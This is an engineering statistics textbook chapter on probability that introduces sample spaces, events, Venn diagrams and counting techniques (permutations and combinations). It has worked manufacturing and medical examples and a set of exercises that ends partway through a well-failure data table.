An athletic woman in her twenties arrives at the emergency department complaining of dizziness after running in hot weather. An electrocardiogram is used to check for a heart attack and the patient generates an abnormal result. The test has a false positive rate 0.1 (the probability of an abnormal result when the patient is normal) and a false negative rate of 0.1 (the probability of a normal result when the patient is abnormal). Furthermore, it might be assumed that the prior probability of a heart attack for this patient is 0.001. Although the abnormal test is a concern, you might be surprised to learn that the probability of a heart attack given the electrocardiogram result is still less than 0.01. See "Why Clinicians are Natural Bayesians" (2005, bmj.com) for details of this example and others.

The key is to properly combine the given probabilities. Furthermore, the exact same analysis used for this medical example can be applied to tests of engineered products. Consequently knowledge of how to manipulate probabilities in order to assess risks and make better decisions is important throughout scientific and engineering disciplines. In this chapter the laws of probability are presented and used to assess risks in cases such as this one and numerous others.

CHAPTER OUTLINE

2-1 SAMPLE SPACES AND EVENTS
- 2-1.1 Random Experiments
- 2-1.2 Sample Spaces
- 2-1.3 Events
- 2-1.4 Counting Techniques

2-2 INTERPRETATIONS AND AXIOMS OF PROBABILITY

2-3 ADDITION RULES

2-4 CONDITIONAL PROBABILITY

2-5 MULTIPLICATION AND TOTAL PROBABILITY RULES

2-6 INDEPENDENCE

2-7 BAYES' THEOREM

2-8 RANDOM VARIABLES

LEARNING OBJECTIVES

After careful study of this chapter you should be able to do the following:

1. **Understand and describe sample spaces and events for random experiments with graphs, tables, lists, or tree diagrams**

2. Interpret probabilities and use probabilities of outcomes to calculate probabilities of events in discrete sample spaces
3. Use permutation and combinations to count the number of outcomes in both an event and the sample space
4. Calculate the probabilities of joint events such as unions and intersections from the probabilities of individual events
5. Interpret and calculate conditional probabilities of events
6. Determine the independence of events and use independence to calculate probabilities
7. Use Bayes' theorem to calculate conditional probabilities
8. Understand random variables

2-1 SAMPLE SPACES AND EVENTS

2-1.1 Random Experiments

If we measure the current in a thin copper wire, we are conducting an experiment. However, day-to-day repetitions of the measurement can differ slightly because of small variations in variables that are not controlled in our experiment, including changes in ambient temperatures, slight variations in gauge and small impurities in the chemical composition of the wire (if different locations are selected), and current source drifts. Consequently, this experiment (as well as many we conduct) is said to have a **random** component. In some cases, the random variations are small enough, relative to our experimental goals, that they can be ignored. However, no matter how carefully our experiment is designed and conducted, the variation is almost always present, and its magnitude can be large enough that the important conclusions from our experiment are not obvious. In these cases, the methods presented in this book for modeling and analyzing experimental results are quite valuable.

Our goal is to understand, quantify, and model the type of variations that we often encounter. When we incorporate the variation into our thinking and analyses, we can make informed judgments from our results that are not invalidated by the variation.

Models and analyses that include variation are not different from models used in other areas of engineering and science. Figure 2-1 displays the important components. A mathematical model (or abstraction) of the physical system is developed. It need not be a perfect abstraction. For example, Newton's laws are not perfect descriptions of our physical universe. Still, they are useful models that can be studied and analyzed to approximately quantify the performance of a wide range of engineered products. Given a mathematical abstraction that is validated with measurements from our system, we can use the model to understand, describe, and quantify important aspects of the physical system and predict the response of the system to inputs.

Throughout this text, we discuss models that allow for variations in the outputs of a system, even though the variables that we control are not purposely changed during our study. Figure 2-2 graphically displays a model that incorporates uncontrollable inputs (noise) that

Figure 2-1 Continuous iteration between model and physical system.

Figure 2-2 Noise variables affect the transformation of inputs to outputs.

Figure 2-3 A closer examination of the system identifies deviations from the model.

Figure 2-4 Variation causes disruptions in the system.

combine with the controllable inputs to produce the output of our system. Because of the uncontrollable inputs, the same settings for the controllable inputs do not result in identical outputs every time the system is measured.

Random Experiment

> An experiment that can result in different outcomes, even though it is repeated in the same manner every time, is called a **random experiment.**

For the example of measuring current in a copper wire, our model for the system might simply be Ohm's law. Because of uncontrollable inputs, variations in measurements of current are expected. Ohm's law might be a suitable approximation. However, if the variations are large relative to the intended use of the device under study, we might need to extend our model to include the variation. See Fig. 2-3.

As another example, in the design of a communication system, such as a computer or voice communication network, the information capacity available to serve individuals using the network is an important design consideration. For voice communication, sufficient external lines need to be available to meet the requirements of a business. Assuming each line can carry only a single conversation, how many lines should be purchased? If too few lines are purchased, calls can be delayed or lost. The purchase of too many lines increases costs. Increasingly, design and product development is required to meet customer requirements *at a competitive cost.*

In the design of the voice communication system, a model is needed for the number of calls and the duration of calls. Even knowing that, on average, calls occur every five minutes and that they last five minutes is not sufficient. If calls arrived precisely at five-minute intervals and lasted for precisely five minutes, one phone line would be sufficient. However, the slightest variation in call number or duration would result in some calls being blocked by others. See Fig. 2-4. A system designed without considering variation will be woefully inadequate for practical use. Our model for the number and duration of calls needs to include variation as an integral component.

2-1.2 Sample Spaces

To model and analyze a random experiment, we must understand the set of possible **outcomes** from the experiment. In this introduction to probability, we make use of the basic concepts of sets and operations on sets. It is assumed that the reader is familiar with these topics.

Sample Space

> The set of all possible outcomes of a random experiment is called the **sample space** of the experiment. The sample space is denoted as S.

A sample space is often defined based on the objectives of the analysis. The following example illustrates several alternatives.

EXAMPLE 2-1 Molded Plastic Part

Consider an experiment in which you select a molded plastic part, such as a connector, and measure its thickness. The possible values for thickness depend on the resolution of the measuring instrument, and they also depend on upper and lower bounds for thickness. However, it might be convenient to define the sample space as simply the positive real line

$$S = R^+ = \{x \mid x > 0\}$$

because a negative value for thickness cannot occur.

If it is known that all connectors will be between 10 and 11 millimeters thick, the sample space could be

$$S = \{x \mid 10 < x < 11\}$$

If the objective of the analysis is to consider only whether a particular part is low, medium, or high for thickness, the sample space might be taken to be the set of three outcomes:

$$S = \{low, medium, high\}$$

If the objective of the analysis is to consider only whether or not a particular part conforms to the manufacturing specifications, the sample space might be simplified to the set of two outcomes

$$S = \{yes, no\}$$

that indicate whether or not the part conforms.

It is useful to distinguish between two types of sample spaces.

Discrete and Continuous Sample Spaces

A sample space is **discrete** if it consists of a finite or countable infinite set of outcomes. A sample space is **continuous** if it contains an interval (either finite or infinite) of real numbers.

In Example 2-1, the choice $S = R^+$ is an example of a continuous sample space, whereas $S = \{yes, no\}$ is a discrete sample space. As mentioned, the best choice of a sample space depends on the objectives of the study. As specific questions occur later in the book, appropriate sample spaces are discussed.

EXAMPLE 2-2 Manufacturing Specifications

If two connectors are selected and measured, the extension of the positive real line R is to take the sample space to be the positive quadrant of the plane:

$$S = R^+ \times R^+$$

If the objective of the analysis is to consider only whether or not the parts conform to the manufacturing specifications, either part may or may not conform. We abbreviate *yes* and *no* as *y* and *n*. If the ordered pair *yn* indicates that the first connector conforms and the second does not, the sample space can be represented by the four outcomes:

$$S = \{yy, yn, ny, nn\}$$

If we are only interested in the number of conforming parts in the sample, we might summarize the sample space as

$$S = \{0, 1, 2\}$$

As another example, consider an experiment in which the thickness is measured until a connector fails to meet the specifications. The sample space can be represented as

$$S = \{n, yn, yyn, yyyn, yyyyn, \text{and so forth}\}$$

and this is an example of a discrete sample space that is countably infinite.

Figure 2-5 Tree diagram for three messages.

Sample spaces can also be described graphically with **tree diagrams.** When a sample space can be constructed in several steps or stages, we can represent each of the n_1 ways of completing the first step as a branch of a tree. Each of the ways of completing the second step can be represented as n_2 branches starting from the ends of the original branches, and so forth.

EXAMPLE 2-3

Each message in a digital communication system is classified as to whether it is received within the time specified by the system design. If three messages are classified, use a tree diagram to represent the sample space of possible outcomes.

Each message can be received either on time or late. The possible results for three messages can be displayed by eight branches in the tree diagram shown in Fig. 2-5.

Practical Interpretation: A tree diagram can affectively represent a sample space. Even if a tree becomes too large to construct it can still conceptually clarify the sample space.

EXAMPLE 2-4

An automobile manufacturer provides vehicles equipped with selected options. Each vehicle is ordered

With or without an automatic transmission

With or without air conditioning

With one of three choices of a stereo system

With one of four exterior colors

If the sample space consists of the set of all possible vehicle types, what is the number of outcomes in the sample space? The sample space contains 48 outcomes. The tree diagram for the different types of vehicles is displayed in Fig. 2-6.

Figure 2-6 Tree diagram for different types of vehicles with 48 outcomes in the sample space.

Figure 2-7 Tree diagram for different types of vehicles with interior colors.

EXAMPLE 2-5 Automobile Configurations

Consider an extension of the automobile manufacturer illustration in the previous example in which another vehicle option is the interior color. There are four choices of interior color: red, black, blue, or brown. However,

With a red exterior, only a black or red interior can be chosen.

With a white exterior, any interior color can be chosen.

With a blue exterior, only a black, red, or blue interior can be chosen.

With a brown exterior, only a brown interior can be chosen.

In Fig. 2-6, there are 12 vehicle types with each exterior color, but the number of interior color choices depends on the exterior color. As shown in Fig. 2-7, the tree diagram can be extended to show that there are 120 different vehicle types in the sample space.

2-1.3 Events

Often we are interested in a collection of related outcomes from a random experiment. Related outcomes can be described by subsets of the sample space and set operations can also be applied.

Event

An **event** is a subset of the sample space of a random experiment.

We can also be interested in describing new events from combinations of existing events. Because events are subsets, we can use basic set operations such as unions, intersections, and complements to form other events of interest. Some of the basic set operations are summarized below in terms of events:

- The **union** of two events is the event that consists of all outcomes that are contained in either of the two events. We denote the union as $E_1 \cup E_2$.
- The **intersection** of two events is the event that consists of all outcomes that are contained in both of the two events. We denote the intersection as $E_1 \cap E_2$.
- The **complement** of an event in a sample space is the set of outcomes in the sample space that are not in the event. We denote the complement of the event E as E'. The notation E^C is also used in other literature to denote the complement.

EXAMPLE 2-6

Consider the sample space $S = \{yy, yn, ny, nn\}$ in Example 2-2. Suppose that the subset of outcomes for which at least one part conforms is denoted as E_1. Then,

$$E_1 = \{yy, yn, ny\}$$

The event in which both parts do not conform, denoted as E_2, contains only the single outcome, $E_2 = \{nn\}$. Other examples of events are $E_3 = \varnothing$, the null set, and $E_4 = S$, the sample space. If $E_5 = \{yn, ny, nn\}$,

$$E_1 \cup E_5 = S \qquad E_1 \cap E_5 = \{yn, ny\} \qquad E_1' = \{nn\}$$

Practical Interpretation: Events are used to define outcomes of interest from a random experiment. One is often interested in the probabilities of specified events.

EXAMPLE 2-7

Measurements of the thickness of a plastic connector might be modeled with the sample space $S = R^+$, the set of positive real numbers. Let

$$E_1 = \{x \mid 10 \le x < 12\} \quad \text{and} \quad E_2 = \{x \mid 11 < x < 15\}$$

Then,

$$E_1 \cup E_2 = \{x \mid 10 \le x < 15\}$$

and

$$E_1 \cap E_2 = \{x \mid 11 < x < 12\}$$

Also,

$$E_1' = \{x \mid x < 10 \text{ or } 12 \le x\}$$

and

$$E_1' \cap E_2 = \{x \mid 12 \le x < 15\}$$

EXAMPLE 2-8 **Hospital Emergency Visits**

The following table summarizes visits to emergency departments at four hospitals in Arizona. People may leave without being seen by a physician, and those visits are denoted as LWBS. The remaining visits are serviced at the emergency department, and the visitor may or may not be admitted for a stay in the hospital.

	Hospital				
	1	**2**	**3**	**4**	**Total**
Total	5292	6991	5640	4329	22,252
LWBS	195	270	246	242	953
Admitted	1277	1558	666	984	4485
Not admitted	3820	5163	4728	3103	16,814

Let A denote the event that a visit is to Hospital 1 and let B denote the event that the result of the visit is LWBS. Calculate the number of outcomes in $A \cap B$, A', and $A \cup B$.

The event $A \cap B$ consists of the 195 visits to Hospital 1 that result in LWBS. The event A' consists of the visits to Hospitals 2, 3, and 4 and contains $6991 + 5640 + 4329 = 16{,}690$ visits. The event $A \cup B$ consists of the visits to Hospital 1 or the visits that result in LWBS, or both, and contains $5292 + 270 + 246 + 242 = 6050$ visits. Notice that the last result can also be calculated as the number of visits in A plus the number of visits in B minus the number of visits $A \cap B$ (that would otherwise be counted twice) $= 5292 + 953 - 195 = 6050$.

Practical Interpretation: Hospitals track visits that result in LWBS to understand resource needs and to improve patient services.

Diagrams are often used to portray relationships between sets, and these diagrams are also used to describe relationships between events. We can use **Venn diagrams** to represent a sample space and events in a sample space. For example, in Fig. 2-8(a) the sample space of the random experiment is represented as the points in the rectangle S. The events A and B are the subsets of points in the indicated regions. Figs. 2-8(b) to 2-8(d) illustrate additional joint events. Figure 2-9 illustrates two events with no common outcomes.

Mutually Exclusive Events

Two events, denoted as E_1 and E_2, such that

$$E_1 \cap E_2 = \varnothing$$

are said to be **mutually exclusive.**

Additional results involving events are summarized below. The definition of the complement of an event implies that

$$(E')' = E$$

Figure 2-8 Venn diagrams.

Figure 2-9 Mutually exclusive events.

The distributive law for set operations implies that

$$(A \cup B) \cap C = (A \cap C) \cup (B \cap C) \qquad \text{and} \qquad (A \cap B) \cup C = (A \cup C) \cap (B \cup C)$$

DeMorgan's laws imply that

$$(A \cup B)' = A' \cap B' \qquad \text{and} \qquad (A \cap B)' = A' \cup B'$$

Also, remember that

$$A \cap B = B \cap A \qquad \text{and} \qquad A \cup B = B \cup A$$

2-1.4 Counting Techniques

In many of the examples in Chapter 2, it is easy to determine the number of outcomes in each event. In more complicated examples, determining the outcomes that comprise the sample space (or an event) becomes more difficult. Instead, counts of the numbers of outcomes in the sample space and various events are used to analyze the random experiments. These methods are referred to as **counting techniques.** Some simple rules can be used to simplify the calculations.

In Example 2-4, an automobile manufacturer provides vehicles equipped with selected options. Each vehicle is ordered

With or without an automatic transmission

With or without air conditioning

With one of three choices of a stereo system

With one of four exterior colors

The tree diagram in Fig. 2-6 describes the sample space of all possible vehicle types. The size of the sample space equals the number of branches in the last level of the tree, and this quantity equals $2 \times 2 \times 3 \times 4 = 48$. This leads to the following useful result.

Multiplication Rule (for counting techniques)

Assume an operation can be described as a sequence of k steps, and

the number of ways of completing step 1 is n_1, and

the number of ways of completing step 2 is n_2 for each way of completing step 1, and

the number of ways of completing step 3 is n_3 for each way of completing step 2, and

so forth.

The total number of ways of completing the operation is

$$n_1 \times n_2 \times \cdots \times n_k$$

EXAMPLE 2-9

In the design of a casing for a gear housing, we can use four different types of fasteners, three different bolt lengths, and three different bolt locations. From the multiplication rule, $4 \times 3 \times 3 = 36$ different designs are possible.

Practical Interpretation: The multipication rule and other counting techniques enables one to easily determine the number of outcomes in a sample space or events and this, in turn, allows probabilities of events to be determined.

Permutations

Another useful calculation is the number of ordered sequences of the elements of a set. Consider a set of elements, such as $S = \{a, b, c\}$. A **permutation** of the elements is an ordered sequence of the elements. For example, *abc*, *acb*, *bac*, *bca*, *cab*, and *cba* are all of the permutations of the elements of S.

The number of **permutations** of n different elements is $n!$ where

$$n! = n \times (n - 1) \times (n - 2) \times \cdots \times 2 \times 1 \qquad (2\text{-}1)$$

This result follows from the multiplication rule. A permutation can be constructed by selecting the element to be placed in the first position of the sequence from the n elements, then selecting the element for the second position from the $n - 1$ remaining elements, then selecting the element for the third position from the remaining $n - 2$ elements, and so forth. Permutations such as these are sometimes referred to as linear permutations.

In some situations, we are interested in the number of arrangements of only some of the elements of a set. The following result also follows from the multiplication rule.

Permutations of Subsets

The number of permutations of subsets of r elements selected from a set of n different elements is

$$P_r^n = n \times (n-1) \times (n-2) \times \cdots \times (n-r+1) = \frac{n!}{(n-r)!} \qquad (2\text{-}2)$$

EXAMPLE 2-10 Printed Circuit Board

A printed circuit board has eight different locations in which a component can be placed. If four different components are to be placed on the board, how many different designs are possible?

Each design consists of selecting a location from the eight locations for the first component, a location from the remaining seven for the second component, a location from the remaining six for the third component, and a location from the remaining five for the fourth component. Therefore,

$$P_4^8 = 8 \times 7 \times 6 \times 5 = \frac{8!}{4!}$$
$$= 1680 \text{ different designs are possible.}$$

Sometimes we are interested in counting the number of ordered sequences for objects that are not all different. The following result is a useful, general calculation.

Permutations of Similar Objects

The number of permutations of $n = n_1 + n_2 + \cdots + n_r$ objects of which n_1 are of one type, n_2 are of a second type, . . . , and n_r are of an rth type is

$$\frac{n!}{n_1!\, n_2!\, n_3! \ldots n_r!} \qquad (2\text{-}3)$$

EXAMPLE 2-11 Machine Shop Schedule

Consider a machining operation in which a piece of sheet metal needs two identical-diameter holes drilled and two identical-size notches cut. We denote a drilling operation as d and a notching operation as n. In determining a schedule for a machine shop, we might be interested in the number of different possible sequences of the four operations. The number of possible sequences for two drilling operations and two notching operations is

$$\frac{4!}{2!\,2!} = 6$$

The six sequences are easily summarized: *ddnn*, *dndn*, *dnnd*, *nddn*, *ndnd*, *nndd*.

EXAMPLE 2-12 Bar Codes

A part is labeled by printing with four thick lines, three medium lines, and two thin lines. If each ordering of the nine lines represents a different label, how many different labels can be generated by using this scheme?

From Equation 2-3, the number of possible part labels is

$$\frac{9!}{4!\,3!\,2!} = 1260$$

Combinations

Another counting problem of interest is the number of subsets of r elements that can be selected from a set of n elements. Here, order is not important. These are called **combinations.** Every subset of r elements can be indicated by listing the elements in the set and marking each

element with a "*" if it is to be included in the subset. Therefore, each permutation of r *'s and $n - r$ blanks indicates a different subset and the numbers of these are obtained from Equation 2-3. For example, if the set is $S = \{a, b, c, d\}$, the subset $\{a, c\}$ can be indicated as

$$\begin{array}{cccc} a & b & c & d \\ * & & * & \end{array}$$

Combinations

The number of combinations, subsets of size r that can be selected from a set of n elements, is denoted as $\binom{n}{r}$ or C_r^n and

$$C_r^n = \binom{n}{r} = \frac{n!}{r!(n-r)!} \tag{2-4}$$

EXAMPLE 2-13

A printed circuit board has eight different locations in which a component can be placed. If five identical components are to be placed on the board, how many different designs are possible?

Each design is a subset of size five from the eight locations that are to contain the components. From Equation 2-4, the number of possible designs is

$$\frac{8!}{5!\,3!} = 56$$

The following example uses the multiplication rule in combination with Equation 2-4 to answer a more difficult, but common, question. In random experiments in which items are selected from a batch, an item may or may not be replaced before the next one is selected. This is referred to as sampling **with** or **without replacement,** respectively.

EXAMPLE 2-14 Sampling without Replacement

A bin of 50 manufactured parts contains three defective parts and 47 nondefective parts. A sample of six parts is selected from the 50 parts without replacement. That is, each part can only be selected once and the sample is a subset of the 50 parts. How many different samples are there of size six that contain exactly two defective parts?

A subset containing exactly two defective parts can be formed by first choosing the two defective parts from the three defective parts. Using Equation 2-4, this step can be completed in

$$\binom{3}{2} = \frac{3!}{2!\,1!} = 3 \text{ different ways}$$

Then, the second step is to select the remaining four parts from the 47 acceptable parts in the bin. The second step can be completed in

$$\binom{47}{4} = \frac{47!}{4!\,43!} = 178{,}365 \text{ different ways}$$

Therefore, from the multiplication rule, the number of subsets of size six that contain exactly two defective items is

$$3 \times 178{,}365 = 535{,}095$$

As an additional computation, the total number of different subsets of size six is found to be

$$\binom{50}{6} = \frac{50!}{6!\,44!} = 15{,}890{,}700$$

When probability is discussed in this chapter, the probability of an event is determined as the ratio of the number of outcomes in the event to the number of outcomes in the sample space (for equally likely outcomes). Therefore, the probability that a sample contains exactly two defective parts is

$$\frac{535{,}095}{15{,}890{,}700} = 0.034$$

Note that this example illustrates a common distribution studied in Chapter 3 (hypergeometric distribution).

EXERCISES FOR SECTION 2-1

Provide a reasonable description of the sample space for each of the random experiments in Exercises 2-1 to 2-17. There can be more than one acceptable interpretation of each experiment. Describe any assumptions you make.

2-1. Each of three machined parts is classified as either above or below the target specification for the part.

2-2. Each of four transmitted bits is classified as either in error or not in error.

2-3. In the final inspection of electronic power supplies, either units pass or three types of nonconformities might occur: functional, minor, or cosmetic. Three units are inspected.

2-4. The number of hits (views) is recorded at a high-volume Web site in a day.

2-5. Each of 24 Web sites is classified as containing or not containing banner ads.

2-6. An ammeter that displays three digits is used to measure current in milliamperes.

2-7. A scale that displays two decimal places is used to measure material feeds in a chemical plant in tons.

2-8. The following two questions appear on an employee survey questionnaire. Each answer is chosen from the five-point scale 1 (never), 2, 3, 4, 5 (always).

Is the corporation willing to listen to and fairly evaluate new ideas?

How often are my coworkers important in my overall job performance?

2-9. The concentration of ozone to the nearest part per billion.

2-10. The time until a service transaction is requested of a computer to the nearest millisecond.

2-11. The pH reading of a water sample to the nearest tenth of a unit.

2-12. The voids in a ferrite slab are classified as small, medium, or large. The number of voids in each category is measured by an optical inspection of a sample.

2-13. The time of a chemical reaction is recorded to the nearest millisecond.

2-14. An order for an automobile can specify either an automatic or a standard transmission, either with or without air-conditioning, and any one of the four colors red, blue, black, or white. Describe the set of possible orders for this experiment.

2-15. A sampled injection-molded part could have been produced in either one of two presses and in any one of the eight cavities in each press.

2-16. An order for a computer system can specify memory of 4, 8, or 12 gigabytes, and disk storage of 200, 300, or 400 gigabytes. Describe the set of possible orders.

2-17. Calls are repeatedly placed to a busy phone line until a connection is achieved.

2-18. In a magnetic storage device, three attempts are made to read data before an error recovery procedure that repositions the magnetic head is used. The error recovery procedure attempts three repositionings before an "abort" message is sent to the operator. Let

s denote the success of a read operation

f denote the failure of a read operation

F denote the failure of an error recovery procedure

S denote the success of an error recovery procedure

A denote an abort message sent to the operator.

Describe the sample space of this experiment with a tree diagram.

2-19. Three events are shown on the Venn diagram in the following figure:

Reproduce the figure and shade the region that corresponds to each of the following events.

(a) A' (b) $A \cap B$ (c) $(A \cap B) \cup C$
(d) $(B \cup C)'$ (e) $(A \cap B)' \cup C$

2-20. Three events are shown on the Venn diagram in the following figure:

Reproduce the figure and shade the region that corresponds to each of the following events.

(a) A' (b) $(A \cap B) \cup (A \cap B')$
(c) $(A \cap B) \cup C$ (d) $(B \cup C)'$
(e) $(A \cap B)' \cup C$

2-21. A digital scale is used that provides weights to the nearest gram.

(a) What is the sample space for this experiment?

Let A denote the event that a weight exceeds 11 grams, let B denote the event that a weight is less than or equal to 15 grams, and let C denote the event that a weight is greater than or equal to 8 grams and less than 12 grams.
Describe the following events.
(b) $A \cup B$ (c) $A \cap B$
(d) A' (e) $A \cup B \cup C$
(f) $(A \cup C)'$ (g) $A \cap B \cap C$
(h) $B' \cap C$ (i) $A \cup (B \cap C)$

2-22. In an injection-molding operation, the length and width, denoted as X and Y, respectively, of each molded part are evaluated. Let

A denote the event of $48 < X < 52$ centimeters

B denote the event of $9 < Y < 11$ centimeters

Construct a Venn diagram that includes these events. Shade the areas that represent the following:
(a) A (b) $A \cap B$
(c) $A' \cup B$ (d) $A \cup B$
(e) If these events were mutually exclusive, how successful would this production operation be? Would the process produce parts with $X = 50$ centimeters and $Y = 10$ centimeters?

2-23. Four bits are transmitted over a digital communications channel. Each bit is either distorted or received without distortion. Let A_i denote the event that the ith bit is distorted, $i = 1, \ldots, 4$.
(a) Describe the sample space for this experiment.
(b) Are the A_i's mutually exclusive?
Describe the outcomes in each of the following events:
(c) A_1 (d) A_1'
(e) $A_1 \cap A_2 \cap A_3 \cap A_4$ (f) $(A_1 \cap A_2) \cup (A_3 \cap A_4)$

2-24. In light-dependent photosynthesis, light quality refers to the wavelengths of light that are important. The wavelength of a sample of photosynthetically active radiations (PAR) is measured to the nearest nanometer. The red range is 675–700 nm and the blue range is 450–500 nm. Let A denote the event that PAR occurs in the red range and let B denote the event that PAR occurs in the blue range. Describe the sample space and indicate each of the following events:
(a) A (b) B (c) $A \cap B$ (d) $A \cup B$

2-25. In control replication, cells are replicated over a period of two days. Not until mitosis is completed can freshly synthesized DNA be replicated again. Two control mechanisms have been identified—one positive and one negative. Suppose that a replication is observed in three cells. Let A denote the event that all cells are identified as positive and let B denote the event that all cells are negative. Describe the sample space graphically and display each of the following events:
(a) A (b) B
(c) $A \cap B$ (d) $A \cup B$

2-26. Disks of polycarbonate plastic from a supplier are analyzed for scratch and shock resistance. The results from 100 disks are summarized below:

		shock resistance	
		high	low
scratch	high	70	9
resistance	low	16	5

Let A denote the event that a disk has high shock resistance, and let B denote the event that a disk has high scratch resistance. Determine the number of disks in $A \cap B$, A', and $A \cup B$.

2-27. Samples of a cast aluminum part are classified on the basis of surface finish (in microinches) and edge finish. The results of 100 parts are summarized as follows:

		edge finish	
		excellent	good
surface	excellent	80	2
finish	good	10	8

(a) Let A denote the event that a sample has excellent surface finish, and let B denote the event that a sample has excellent edge finish. Determine the number of samples in $A' \cap B$, B', and $A \cup B$.
(b) Assume that each of two samples is to be classified on the basis of surface finish, either excellent or good, and on the basis of edge finish, either excellent or good. Use a tree diagram to represent the possible outcomes of this experiment.

2-28. Samples of emissions from three suppliers are classified for conformance to air-quality specifications. The results from 100 samples are summarized as follows:

		conforms	
		yes	no
	1	22	8
supplier	2	25	5
	3	30	10

Let A denote the event that a sample is from supplier 1, and let B denote the event that a sample conforms to specifications. Determine the number of samples in $A' \cap B$, B', and $A \cup B$.

2-29. The rise time of a reactor is measured in minutes (and fractions of minutes). Let the sample space be positive, real numbers. Define the events A and B as follows: $A = \{x \mid x < 72.5\}$ and $B = \{x \mid x > 52.5\}$.
Describe each of the following events:
(a) A' (b) B'
(c) $A \cap B$ (d) $A \cup B$

2-30. A sample of two items is selected without replacement from a batch. Describe the (ordered) sample space for each of the following batches:
(a) The batch contains the items $\{a, b, c, d\}$.
(b) The batch contains the items $\{a, b, c, d, e, f, g\}$.
(c) The batch contains 4 defective items and 20 good items.
(d) The batch contains 1 defective item and 20 good items.

2-31. A sample of two printed circuit boards is selected without replacement from a batch. Describe the (ordered) sample space for each of the following batches:
(a) The batch contains 90 boards that are not defective, eight boards with minor defects, and two boards with major defects.
(b) The batch contains 90 boards that are not defective, eight boards with minor defects, and one board with major defects.

2-32. Counts of the Web pages provided by each of two computer servers in a selected hour of the day are recorded. Let A denote the event that at least 10 pages are provided by server 1 and let B denote the event that at least 20 pages are provided by server 2.
(a) Describe the sample space for the numbers of pages for the two servers graphically in an $x - y$ plot.

Show each of the following events on the sample space graph:
(b) A (c) B
(d) $A \cap B$ (e) $A \cup B$

2-33. The rise time of a reactor is measured in minutes (and fractions of minutes). Let the sample space for the rise time of each batch be positive, real numbers. Consider the rise times of *two* batches. Let A denote the event that the rise time of batch 1 is less than 72.5 minutes, and let B denote the event that the rise time of batch 2 is greater than 52.5 minutes.

Describe the sample space for the rise time of two batches graphically and show each of the following events on a two-dimensional plot:
(a) A (b) B'
(c) $A \cap B$ (d) $A \cup B$

2-34. A wireless garage door opener has a code determined by the up or down setting of 12 switches. How many outcomes are in the sample space of possible codes?

2-35. An order for a computer can specify any one of five memory sizes, any one of three types of displays, and any one of four sizes of a hard disk, and can either include or not include a pen tablet. How many different systems can be ordered?

2-36. In a manufacturing operation, a part is produced by machining, polishing, and painting. If there are three machine tools, four polishing tools, and three painting tools, how many different routings (consisting of machining, followed by polishing, and followed by painting) for a part are possible?

2-37. New designs for a wastewater treatment tank have proposed three possible shapes, four possible sizes, three locations for input valves, and four locations for output valves. How many different product designs are possible?

2-38. A manufacturing process consists of 10 operations that can be completed in any order. How many different production sequences are possible?

2-39. A manufacturing operation consists of 10 operations. However, five machining operations must be completed before any of the remaining five assembly operations can begin. Within each set of five, operations can be completed in any order. How many different production sequences are possible?

2-40. In a sheet metal operation, three notches and four bends are required. If the operations can be done in any order, how many different ways of completing the manufacturing are possible?

2-41. A batch of 140 semiconductor chips is inspected by choosing a sample of five chips. Assume 10 of the chips do not conform to customer requirements.
(a) How many different samples are possible?
(b) How many samples of five contain exactly one nonconforming chip?
(c) How many samples of five contain at least one nonconforming chip?

2-42. In the layout of a printed circuit board for an electronic product, there are 12 different locations that can accommodate chips.
(a) If five different types of chips are to be placed on the board, how many different layouts are possible?
(b) If the five chips that are placed on the board are of the same type, how many different layouts are possible?

2-43. In the laboratory analysis of samples from a chemical process, five samples from the process are analyzed daily. In addition, a control sample is analyzed two times each day to check the calibration of the laboratory instruments.
(a) How many different sequences of process and control samples are possible each day? Assume that the five process samples are considered identical and that the two control samples are considered identical.
(b) How many different sequences of process and control samples are possible if we consider the five process samples to be different and the two control samples to be identical?
(c) For the same situation as part (b), how many sequences are possible if the first test of each day must be a control sample?

2-44. In the design of an electromechanical product, 12 components are to be stacked into a cylindrical casing in a manner that minimizes the impact of shocks. One end of the casing is designated as the bottom and the other end is the top.
(a) If all components are different, how many different designs are possible?
(b) If seven components are identical to one another, but the others are different, how many different designs are possible?
(c) If three components are of one type and identical to one another, and four components are of another type and identical to one another, but the others are different, how many different designs are possible?

2-45. Consider the design of a communication system.

(a) How many three-digit phone prefixes that are used to represent a particular geographic area (such as an area code) can be created from the digits 0 through 9?

(b) As in part (a), how many three-digit phone prefixes are possible that do not start with 0 or 1, but contain 0 or 1 as the middle digit?

(c) How many three-digit phone prefixes are possible in which no digit appears more than once in each prefix?

2-46. A byte is a sequence of eight bits and each bit is either 0 or 1.

(a) How many different bytes are possible?

(b) If the first bit of a byte is a parity check, that is, the first byte is determined from the other seven bits, how many different bytes are possible?

2-47. In a chemical plant, 24 holding tanks are used for final product storage. Four tanks are selected at random and without replacement. Suppose that six of the tanks contain material in which the viscosity exceeds the customer requirements.

(a) What is the probability that exactly one tank in the sample contains high-viscosity material?

(b) What is the probability that at least one tank in the sample contains high-viscosity material?

(c) In addition to the six tanks with high viscosity levels, four different tanks contain material with high impurities. What is the probability that exactly one tank in the sample contains high-viscosity material and exactly one tank in the sample contains material with high impurities?

2-48. Plastic parts produced by an injection-molding operation are checked for conformance to specifications. Each tool contains 12 cavities in which parts are produced, and these parts fall into a conveyor when the press opens. An inspector chooses three parts from among the 12 at random. Two cavities are affected by a temperature malfunction that results in parts that do not conform to specifications.

(a) What is the probability that the inspector finds exactly one nonconforming part?

(b) What is the probability that the inspector finds at least one nonconforming part?

2-49. A bin of 50 parts contains five that are defective. A sample of two parts is selected at random, without replacement. Determine the probability that both parts in the sample are defective.

2-50. The following table summarizes 204 endothermic reactions involving sodium bicarbonate.

Final Temperature Conditions	Heat Absorbed (cal)	
	Below Target	Above Target
266 K	12	40
271 K	44	16
274 K	56	36

Let A denote the event that a reaction final temperature is 271 K or less. Let B denote the event that the heat absorbed is below target. Determine the number of reactions in each of the following events.

(a) $A \cap B$ (b) A' (c) $A \cup B$ (d) $A \cup B'$ (e) $A' \cap B'$

2-51. A Web ad can be designed from four different colors, three font types, five font sizes, three images, and five text phrases. How many different designs are possible?

2-52. Consider the hospital emergency department data in Example 2-8. Let A denote the event that a visit is to Hospital 1 and let B denote the event that a visit results in admittance to any hospital. Determine the number of persons in each of the following events.

(a) $A \cap B$ (b) A' (c) $A \cup B$ (d) $A \cup B'$ (e) $A' \cap B'$

2-53. An article in *The Journal of Data Science* ["A Statistical Analysis of Well Failures in Baltimore County" (2009, Vol. 7, pp. 111–127)] provided the following table of well failures for different geological formation groups in Baltimore County.

Geological Formation Group	Wells	
	Failed	Total
Gneiss	170	1685
Granite	2	28
Loch raven schist	443	3733
Mafic	14	363
Marble	29	309
Prettyboy schist	60	1403
Other schists	46	933
